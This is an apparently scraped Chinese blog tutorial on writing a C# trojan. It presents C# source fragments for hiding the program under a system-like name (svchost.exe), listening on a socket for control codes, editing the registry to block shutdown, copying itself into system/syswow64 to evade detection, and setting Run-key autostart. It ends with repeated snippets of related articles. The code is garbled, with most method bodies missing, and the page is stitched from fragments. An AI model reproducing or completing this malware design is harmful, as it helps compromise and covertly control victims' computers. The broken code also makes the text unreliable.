首先說明一下,學這個木馬製作流程並不是為了去做壞事,而是要知道它的原理,以後在工作生活中,也可以及時發現自己的電腦有沒有被植入木馬,從而規避一些不必要的損失。要實現木馬服務的程式,需要實現以下幾個功能:
一、先建立乙個windows窗體應用程式,為了方便隱藏,專案名稱可使用與系統相近的名稱(如svchost.exe等)。
1.將窗體屬性"showintaskbar"設為false,讓它執行時不會在工作列中顯示。
2.將窗體屬性"windowstate"設為mininized,這樣窗體就可以隱藏執行了。
二、控制**的接收,必須在服務程式執行開始時就啟動,所以偵聽執行緒必須在程式初始化中啟動,所以放在窗體的建構函式中,**如下:
public partial class form1 : form
/// /// 根據接收到的控制碼,執行不同的指令
///
private void mycontrolcode()}}
private void retmessage(socket socket)
}
三、登錄檔公共類:regutils.cs
using system;
using system.collections.generic;
using system.linq;
using system.text;
using microsoft.win32;
using system.diagnostics;
using system.windows.forms;
namespace 木馬服務程式
/// /// 修改登錄檔,使計算機關機
///
public static void unclose()
/// /// 修改登錄檔
///
/// 位置
/// 鍵
/// 值
private static void updateregedit(string position, string key, object value)
catch
//如果不存在則自已建立
if (subkey == null)
catch }}
}}
四、在木馬程式中還有乙個重要的功能就是自我的複製和轉移。木馬引入被控制的主機時,必須自動將木馬隱藏在system/syswow64目錄下,以防被發現。實現**如下:
/// /// 在木馬程式中還有乙個重要的功能:自我的複製和轉移
/// 描述資訊:木馬引入被控制的主機時必須自動將木馬隱藏在system/syswow64的目錄下以防被發現。
///
private void copying()
}catch (exception ex)
}
五、封裝的開機啟動類:boot.cs
using system;
using system.collections.generic;
using system.linq;
using system.text;
using system.diagnostics;
using microsoft.win32;
namespace 木馬服務程式
/// /// 將應用程式設為或不設為開機啟動
///
/// 自啟開關
//如果從設為開機啟動設定到不要設為開機啟動
return isok;
}/// /// 判斷註冊鍵值對是否存在,即是否處於開機啟動狀態
///
/// 鍵值名
///
private static bool i***istkey(string keyname)
string runsname = runs.getvaluenames();
foreach (string strname in runsname)
}return _exist;
}catch
}/// /// 寫入或刪除登錄檔鍵值對,即設為開機啟動或開機不啟動
///
/// 是否開機啟動
/// 應用程式名
/// 應用程式路徑帶程式名
///
private static bool selfrunning(bool isstart, string exename, string path)
//若開機自啟動則新增鍵值對
if (isstart)
else//否則刪除鍵值對}}
}catch (exception ex)
return true;}}
}
六、最好再建立乙個windows服務,用來監控木馬程式,防止程式意外退出。
用C 實現木馬程式
服務端的開發 要實現木馬服務的程式,主要實現以下幾個功能 後台的執行 隱藏技術 控制碼的接收與登錄檔的修改,下面對這三方面做介紹 1 在vc 中,建立乙個後台服務程式是很容易的,先建立乙個新的c 的windows應用程式,專案名稱自定 不過為了隱藏可使用與系統相近的名稱 將窗體屬性 showinta...
用C 實現木馬程式
木馬的介紹 因為本文是 木馬程式,所以在介紹之前有一些木馬構成的基本知識事先說明。乙個完整的木馬系統由硬體部分,軟體部分和具體連線部分組成。這裡主要對軟體部分介紹,它主要有控制端程式 木馬程式 後台服務程式 木馬配製程式組成。控制端用以遠端控 務端的程式 木馬程式是潛入服務端內部,獲取其操作許可權的...
用C 實現木馬程式
因為本文是 木馬程式,所以在介紹之前有一些木馬構成的基本知識事先說明。乙個完整的木馬系統由硬體部分,軟體部分和具體連線部分組成。這裡主要對軟體部分介紹,它主要有控制端程式 木馬程式 後台服務程式 木馬配製程式組成。控制端用以遠端控 務端的程式 木馬程式是潛入服務端內部,獲取其操作許可權的程式 木馬配...